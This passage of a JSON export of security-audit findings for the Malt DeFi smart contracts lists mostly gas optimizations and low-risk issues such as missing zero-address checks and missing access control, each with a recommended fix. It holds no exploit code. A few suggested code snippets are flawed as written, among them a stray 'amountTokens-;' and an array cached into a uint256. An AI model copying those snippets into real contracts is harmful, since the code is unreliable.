confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact If Malt token be set to have lower decimals the incentives will be too big to be issued and DAO advance epoch and StabilizerNode auction start functions will fail, the system will have to be redeployed. For example, if Malt was set to have 6 decimals like USDC, then 100*1e18 StabilizerNode defaultIncentive will be 100 trillions Malt. ## Proof of Concept Now some parts of the system use ```malt.decimals()``` (SwingTrader, UniswapHandler), some (StabilizerNode, DAO) use 18. DAO advanceIncentive: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DAO.sol#L60 StabilizerNode defaultIncentive: stabilize function https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L145 calls _startAuction in low exchangeRate case, minting defaultIncentive * 10**18 = 100 * 1e18 Malt to the sender as a caller fee. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L344 ## Recommended Mitigation Steps If Malt decimals are meant to be set to 18, add a constant variable and use it across the system to save gas. If the flexibility is desired ```malt.decimals()``` to be used, in a form of contract storage variable for gas optimization (```decimals()``` can be saved to storage once on initialization, and read from there afterwards). "}, {"title": "Lack of precision", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/168", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle robee # Vulnerability details This issue is about arithmetic computation that could have been done more percise. The following are places in the codebase in which you multiplied after the divisions. Doing the multiplications at start lead to more accurate calculations. This is a list of places in the code that this appears (Solidity file, line number, actual line): DAO.sol, 105, /* Internal methods */ UniswapHandler.sol, 265, buyBase.div(priceTarget).mul(buyBase).mul(997) RewardDistributor.sol, 113, /* PUBLIC VIEW FUNCTIONS */ RewardDistributor.sol, 118, /* INTERNAL VIEW FUNCTIONS */ RewardDistributor.sol, 129, /* INTERNAL FUNCTIONS */ "}, {"title": "State variables that could be set immutable", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-malt-findings", "body": "State variables that could be set immutable"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Public functions to external"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Unused declared local variables", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle robee # Vulnerability details Unused local variables are gas consuming, since the initial value assignment costs gas. And are a bad code practice. Removing those variables will decrease the gas cost and improve code quality. This is a full list of all the unused storage variables we found in your code base. The format is , , : AbstractRewardMine.sol, _handleStakePadding, totalRewardedWithStakePadding AbstractRewardMine.sol, _handleStakePadding, INITIAL_STAKE_SHARE_MULTIPLE AbstractRewardMine.sol, _handleStakePadding, bondedTotal Auction.sol, _finalizeAuction, avgMaltPrice AuctionParticipant.sol, claim, replenishingId AuctionParticipant.sol, claim, claimableTokens AuctionParticipant.sol, claim, claimable Create2Deployer.sol, deploy, addr UniswapHandler.sol, removeBuyer, buyer MaltDataLab.sol, trackPoolReserves, rewardDecimals MovingAverage.sol, update, elapsedSamples MovingAverage.sol, updateCumulative, elapsedSamples StabilizerNode.sol, stabilize, exchangeRate StabilizerNode.sol, _startAuction, decimals SwingTrader.sol, sellMalt, maltDecimals SwingTrader.sol, costBasis, maltDecimals TransferService.sol, removeVerifier, verifier "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Unused imports"}, {"title": "AuctionBurnReserveSkew:addAbovePegObservation gas optimization", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Remove L151 count = count + 1; and change L147 to uint256 index = _getIndexOfObservation(count++); so we save at least a SLOAD. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L143 ## Tools Used ## Recommended Mitigation Steps Remove L151 count = count + 1; and change L147 to uint256 index = _getIndexOfObservation(count++); "}, {"title": "AuctionBurnReserveSkew:getRealBurnBudget no underflow check needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact After teh if statement on L74, we have premiumExcess <= maxBurnSpend and therefore don't need to do a save subtraction (underflow check) on L80. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L69 ## Tools Used ## Recommended Mitigation Steps - rewrite L80 as: uint256 usableExcess = maxBurnSpend - premiumExcess; "}, {"title": "Auction:amendAccountParticipation no underflow check needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Else block on L805 satisfies amountArbTokens <= unclaimedArbTokens and therefore no safe subtraction (underflow check) is needed (saves gas). ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L786 ## Tools Used ## Recommended Mitigation Steps - rewrite L805 as: unclaimedArbTokens = unclaimedArbTokens - amountArbTokens; "}, {"title": "Auction:claimArbitrage no underflow checks needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details # Vulnerability details ## Impact The else block on L241 satisfies amountTokens <= unclaimedArbTokens and therefore we don't need to do a safe subtraction (underflow check). The else block on L247 satisfies amountTokens <= claimableArbitrageRewards and therefore we don't need to do a safe subtraction (underflow check). ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L216 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L247 ## Tools Used ## Recommended Mitigation Steps - rewrite L241 as: unclaimedArbTokens = unclaimedArbTokens - amountTokens; - rewrite L274 as: claimableArbitrageRewards = claimableArbitrageRewards - amountTokens-; "}, {"title": "Auction:purchaseArbitrageTokens gas optimization", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact L209 nextCommitmentId = nextCommitmentId + 1; can be removed and L202 can be changed to nextCommitmentId++; to save a SLOAD ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L177 ## Tools Used Manual Analysis ## Recommended Mitigation Steps "}, {"title": "RewardThrottle:handleReward gas optimizations", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Storage variable _activeEpoch is read a lot and can be cached in a local variable (epochTmp, maybe choose a better name =)) to save gas. Also the State struct can be loaded into a State storage (currentState, maybe also choose a better name) variable such that we don't have to access the storage array each time. In the gas optimized code of \"Recommended Mitigation Steps\" section, the _activeEpoch only gets read once. Also note after the first \"if\" we write epoch to the storage variable \"_activeEpoch\" but then also write epoch to the local var \"epochTmp\" so we can use this local var in the whole function. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardThrottle.sol#L63 ## Tools Used ## Recommended Mitigation Steps function handleReward() public { uint256 balance = rewardToken.balanceOf(address(this)); uint256 epoch = dao.epoch(); uint256 epochTmp = _activeEpoch; State storage currentState; checkRewardUnderflow(); if (epoch > epochTmp) { _activeEpoch = epoch; epochTmp = epoch; currentState = _state[epochTmp]; currentState.bondedValue = bonding.averageBondedValue(epochTmp); currentState.profit = balance; currentState.rewarded = 0; currentState.throttle = throttle; } else { currentState = _state[epochTmp]; currentState.profit = currentState.profit.add(balance); currentState.throttle = throttle; } // Fetch targetAPR before we update current epoch state uint256 aprTarget = targetAPR(); // Distribute balance to the correct places if (aprTarget > 0 && _epochAprGivenReward(epoch, balance) > aprTarget) { uint256 remainder = _getRewardOverflow(balance, aprTarget); emit RewardOverflow(epochTmp, remainder); if (remainder > 0) { rewardToken.safeTransfer(address(overflowPool), remainder); if (balance > remainder) { _sendToDistributor(balance - remainder, epochTmp); } } } else { _sendToDistributor(balance, epochTmp); } emit HandleReward(epoch, balance); } "}, {"title": "RewardDistributor:decrementRewards no underflow check needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Require statement conditions checks that no underflow can happen, therefore we don't need to use safe subtraction (underflow check). - L275: require(amount <= _globals.declaredBalance, \"Can't decrement more than total reward balance\"); - L278: _globals.declaredBalance = _globals.declaredBalance.sub(amount); => Rewrite L278 as: _globals.declaredBalance = _globals.declaredBalance - amount; ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardDistributor.sol#L271 ## Tools Used ## Recommended Mitigation Steps - rewrite L278 as: _globals.declaredBalance = _globals.declaredBalance - amount; "}, {"title": "RewardDistributor:_incrementFocalPoint() save storage read", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact L185: focalID = focalID + 1; can be removed and L197 can be adapted to: _resetFocalPoint(++focalID, newEndTime); to save at least one warm storage read (100 gas) ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardDistributor.sol#L180 ## Tools Used ## Recommended Mitigation Steps "}, {"title": "RewardDistributor:_forfeit no underflow check needed", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Require condition checks already underflow condition. There for no underflow check is needed. - L154: require(forfeited <= _globals.declaredBalance, \"Cannot forfeit more than declared\"); - L156:_globals.declaredBalance = _globals.declaredBalance.sub(forfeited); Therefore L156 can be written as: _globals.declaredBalance = _globals.declaredBalance - forfeited; ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/RewardSystem/RewardDistributor.sol#L153 ## Tools Used ## Recommended Mitigation Steps - L156 can be written as: _globals.declaredBalance = _globals.declaredBalance - forfeited; "}, {"title": "Unneeded variables (Auction.sol, StabilizerNode.sol)", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Unneeded variables (Auction.sol, StabilizerNode.sol)"}, {"title": "Code does not match comments in \"_finalizeAuction\" (Auction.sol)", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Code does not match comments in \"_finalizeAuction\" (Auction.sol)"}, {"title": "AbstractRewardMine._handleStakePadding logic cases can be separated and function simplified", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on operations. ## Proof of Concept The function contains two non-intersecting logic pathways, which can be separated to lighten calculations. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AbstractRewardMine.sol#L179 ## Recommended Mitigation Steps Now: ``` function _handleStakePadding(address account, uint256 amount) internal { uint256 totalRewardedWithStakePadding = totalDeclaredReward().add(totalStakePadding()); uint256 INITIAL_STAKE_SHARE_MULTIPLE = 1e6; uint256 bondedTotal = totalBonded(); uint256 newStakePadding = bondedTotal == 0 ? totalDeclaredReward() == 0 ? amount.mul(INITIAL_STAKE_SHARE_MULTIPLE) : 0 : totalRewardedWithStakePadding.mul(amount).div(bondedTotal); _addToStakePadding(account, newStakePadding); } ``` To be: ``` function _handleStakePadding(address account, uint256 amount) internal { uint256 bondedTotal = totalBonded(); uint256 newStakePadding; if (bondedTotal == 0) { uint256 INITIAL_STAKE_SHARE_MULTIPLE = 1e6; newStakePadding = totalDeclaredReward() == 0 ? amount.mul(INITIAL_STAKE_SHARE_MULTIPLE) : 0; } else { newStakePadding = (totalDeclaredReward().add(totalStakePadding())).mul(amount).div(bondedTotal); } if (newStakePadding > 0) _addToStakePadding(account, newStakePadding); } ``` "}, {"title": "setupParticipant() function does not check for zero address", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/130", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact The setupParticipant() function in AuctionParticipant.sol does not have require statements to protect again contracts that do not yet exist. It sets the addresses for \" _impliedCollateralService\", \"_rewardToken\", and \"_auction\" and can only be called once so its vital to have this guard in place. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionParticipant.sol#L26 ## Tools Used Manual code review ## Recommended Mitigation Steps Add require checks for the addresses that are passed in the setupParticipant() function checking if they exist like: require(\"address\" != address(0), \"contract does not exist\") "}, {"title": " AbstractRewardMine._handleStakePadding calls totalDeclaredReward and this way balanceOf function twice", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on access and function calls. ## Proof of Concept totalDeclaredReward is called by _handleStakePadding twice: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AbstractRewardMine.sol#L180 While totalDeclaredReward does expensive balanceOf call: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AbstractRewardMine.sol#L97 ## Recommended Mitigation Steps It is viable to at least remove its double usage: Now: ``` uint256 totalRewardedWithStakePadding = totalDeclaredReward().add(totalStakePadding()); ... uint256 newStakePadding = bondedTotal == 0 ? totalDeclaredReward() == 0 ? amount.mul(INITIAL_STAKE_SHARE_MULTIPLE) : 0 : totalRewardedWithStakePadding.mul(amount).div(bondedTotal); ``` To be: ``` uint256 declaredRewardTotal = rewardToken.balanceOf(address(this)); uint256 totalRewardedWithStakePadding = declaredRewardTotal.add(totalStakePadding()); ... uint256 newStakePadding = bondedTotal == 0 ? declaredRewardTotal == 0 ? amount.mul(INITIAL_STAKE_SHARE_MULTIPLE) : 0 : totalRewardedWithStakePadding.mul(amount).div(bondedTotal); ``` "}, {"title": "TIMELOCK_ROLE Has Absolute Power to Withdraw All FUND May Raise Red Flags for Investors", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/125", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-11-malt-findings", "body": "TIMELOCK_ROLE Has Absolute Power to Withdraw All FUND May Raise Red Flags for Investors"}, {"title": "The Power Structure is Too Centralized And Protocol May Break If Anything Happen to Admin", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/124", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-11-malt-findings", "body": "The Power Structure is Too Centralized And Protocol May Break If Anything Happen to Admin"}, {"title": "sellMalt(), addLiquidity() and removeLiquidity() Allow Non Privileged Users Withdraw Fund", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact Is Not Uncommon Normal Users Accidentally Send Tokens into Contract. ENS Airdrop is a Good Example Normal Users Accidentally Send Tokens into Contract: https://discuss.ens.domains/t/social-amend-airdrop-proposal-to-include-accidentally-returned-funds/6975 In UniswapHandler.sol, sellMalt(), addLiquidity() and removeLiquidity() Have No Access Control. When Normal Users Accidently Deposit Tokens into the Contract, Any Random Persons/Bot Can Withdraw the Tokens because it will safeTransfer to msg.sender who find out there is token balance in the contract. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L185-L219 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L221-L245 ## Tools Used Manual Review ## Recommended Mitigation Steps Add relevant access control, probably Only StabilizerNode and Admin have Access to this contract various functions like sellMalt(), addLiquidity() and removeLiquidity() etc. "}, {"title": "removeVerifier() Repeat SLOAD During Loop Is Waste of Gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact removeVerifier() loops follows this for-each pattern: for (uint256 i = 0; i < array.length; i++) { // do something with `array[i]` } In such for loops, the array.length is read on every iteration, instead of caching it once in a local variable and read it again using the local variable. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/TransferService.sol#L87-L88 ## Tools Used Manual Review ## Recommended Mitigation Steps Read these values from memory once, cache them in local variables and then read them again using the local variables. For example: Before: for (uint i = 0; i < verifierList.length - 1; i = i + 1) { if (verifierList[i] == _address) { After: uint256 verifierList_temp = verifierList for (uint i = 0; i < verifierList_temp.length - 1; i = i + 1) { if (verifierList_temp[i] == _address) { "}, {"title": "Avoiding Initialization of Loop Index If It Is 0", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Avoiding Initialization of Loop Index If It Is 0"}, {"title": "_setupRole() Deprecated and Not Using With Constructor Effectively Circumventing the Admin System", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/115", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. There are multiple contracts that import Permissions.sol and using Deprecated Function _setupRole() with Security Problem that Applicable to all these contracts because all of the contracts use initialize() Rather Than Constructor. ## Proof of Concept https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol#L174-L186 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Permissions.sol#L53 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Permissions.sol#L117 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Permissions.sol#L121 ## Tools Used Manual Review ## Recommended Mitigation Steps Replace _setupRole() with _grantRole() "}, {"title": "AbstractRewardMine.getRewardOwnershipFraction shouldn't be used internally", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent on function calls. ## Proof of Concept ```earned``` function calls public ```getRewardOwnershipFraction``` function: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AbstractRewardMine.sol#L144 ## Recommended Mitigation Steps Now: ``` function totalDeclaredReward() virtual public view returns (uint256) { return rewardToken.balanceOf(address(this)); } function getRewardOwnershipFraction(address account) public view returns(uint256 numerator, uint256 denominator) { numerator = balanceOfRewards(account); denominator = totalDeclaredReward(); } ... function earned(address account) public view returns (uint256 earnedReward) { (uint256 rewardNumerator, uint256 rewardDenominator) = getRewardOwnershipFraction(account); ``` To be: ``` function earned(address account) public view returns (uint256 earnedReward) { uint256 rewardNumerator = balanceOfRewards(account); uint256 rewardDenominator = rewardToken.balanceOf(address(this)); ``` "}, {"title": "reassignGlobalAdmin() Lack of Zero Address Check ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/113", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact A wrong user input or wallets defaulting to the zero addresses for a missing input can lead to the contract needing to redeploy or Users'FUND Locked inside the Contract. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Permissions.sol#L63-L77 ## Tools Used Manual Review ## Recommended Mitigation Steps requires Addresses is not zero. require(_admin != address(0), \"Address Can't Be Zero\") "}, {"title": "reassignGlobalAdmin() Have No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact The current ownership transfer process involves the current TIMELOCK_ROLE calling reassignGlobalAdmin(). If the nominated EOA account is not a valid account, it is entirely possible the owner may accidentally transfer ownership to an uncontrolled account, breaking all functions with the TIMELOCK_ROLE modifier. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Permissions.sol#L63-L77 ## Tools Used Manual Review ## Recommended Mitigation Steps Consider implementing a two step process where the TIMELOCK_ROLE nominates an account and the nominated account needs to call an accept_TIMELOCK_ROLE() function for the transfer of ownership to fully succeed. This ensures the nominated EOA account is a valid and active account. "}, {"title": "Redundant require statements in `Auction:purchaseArbitrageTokens`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/108", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle loop # Vulnerability details When invoking `purchaseArbitrageTokens()` is will first check whether the auction is active using: ``` require(auctionActive(currentAuctionId), \"No auction running\"); ``` `auctionActive()` checks for the following things: ``` auction.active && now >= auction.startingTime; ``` As a result the require statement will fail if either `!auction.active` or `now < auction.startingTime`. Later on in `purchaseArbitrageTokens()` two more require statements will check the same thing: ``` require(auction.startingTime <= now, \"Auction hasn't started yet\"); (...) require(auction.active == true, \"Auction is not active\"); ``` These will always pass if `auctionActive(currentAuctionId)` is `true` and never be reached if it is `false`, making them redundant. ## Proof of Concept - https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L178 - https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L188-L190 - https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L268-L272 ## Recommended Mitigation Steps Remove redundant require statements "}, {"title": "Cache array length in `for` loops", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Caching the array length in a `for`-loop saves gas as the length does not need to be read on every iteration. The following loops could be refactored: ``` ./Malt.sol:34: for (uint256 i = 0; i < minters.length; i = i + 1) { ./Malt.sol:37: for (uint256 i = 0; i < burners.length; i = i + 1) { ./TransferService.sol:87: for (uint i = 0; i < verifierList.length - 1; i = i + 1) { ./Auction.sol:407: for (uint i = 0; i < epochCommitments.length; ++i) { ./libraries/UniswapV2Library.sol:66: for (uint i; i < path.length - 1; i++) { ./AuctionParticipant.sol:107: for (uint256 i = replenishingIndex; i < auctionIds.length; i = i + 1) { ./MiningService.sol:49: for (uint i = 0; i < mines.length; i = i + 1) { ./MiningService.sol:69: for (uint i = 0; i < mines.length; i = i + 1) { ./MiningService.sol:86: for (uint i = 0; i < mines.length; i = i + 1) { ./MiningService.sol:96: for (uint i = 0; i < mines.length; i = i + 1) { ./MiningService.sol:142: for (uint i = 0; i < mines.length - 1; i = i + 1) { ./MiningService.sol:166: for (uint i = 0; i < mines.length; i = i + 1) { ./DexHandlers/UniswapHandler.sol:317: for (uint i = 0; i < buyers.length - 1; i = i + 1) { ``` ## Tools used `grep -rn \".length\" .` "}, {"title": "Incorrect error messages in `StabilizerNode.sol`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact The functions `setDefaultIncentive` and `setExpansionDamping` in `StabilizerNode.sol` require their arguments to be non-zero, i.e. to be positive, as their argument types are `uint`. However, the error messages state that the arguments should not be non-negative. See lines [406](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L406) and [417](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L417). ## Recommended Mitigation Steps Change the error messages to something like: \"Must be above 0\". "}, {"title": "Don't try bonding zero liquidity in `RewardReinvestor`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Function `RewardReinvestor::_bondAccount` tries to bond liquidity to an account, even though it is known whether the liquidity is zero. ## Proof of Concept The return value `liquidityCreated` in [line 105](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/RewardReinvestor.sol#L105) can be zero. The following function call, `bondToAccount()`, then reverts with \"Cannot bond 0\". ## Recommended Mitigation Steps Gas could be saved if the function would revert earlier, i.e. in [line 106](https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/RewardReinvestor.sol#L106), if the `liquidityCreated` is zero. "}, {"title": "No message in require statements.", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/98", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description There is multiple instances within the **Malt** protocol codebase that do not append messages to the require statements. ## Impact add a custom message to the require statement to create a better sense of what's is the reason of failure. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L681 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L56 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L76 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L78 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L119 ## Tools Used manual code review. ## Recommended Mitigation Steps append custom message to the require statements. "}, {"title": "functions visibility on contract AuctionEscapeHatch", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/97", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description On contract **AuctionEscapeHatch** there is a function labeled as Public, However this function is not used within the contracts of **Malt** protocol. ## Impact Improve coding style quality for developers and audit. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionEscapeHatch.sol#L94 ## Tools Used manual code review. ## Recommended Mitigation Steps Evaluate functions labeled as public and set to external if needed just like the rest of functions inside this contract. "}, {"title": "functions visibility on contract Timelock.sol", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-malt-findings", "body": "functions visibility on contract Timelock.sol"}, {"title": " Cache Reference To State Variable \"currentAuctionID\" in _checkAuctionFinalization (Auction.sol)", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Caching the references to \"currentAuctionID\" will decrease gas usage. ## Proof of Concept The state variable \"currentAuctionID\" is read 7 times in function \"_checkAuctionFinalization\" here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L746-L762 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps I suggest making the changes below to cache the variable: ``` function _checkAuctionFinalization(bool isInternal) internal { uint256 currentId = currentAuctionId; if (isInternal && !isAuctionFinished(currentId)) { // Auction is still in progress after internal auction purchasing. _resetAuctionMaxCommitments(); } if (isAuctionFinished(currentId)) { if (auctionActive(currentId)) { _endAuction(currentId); } if 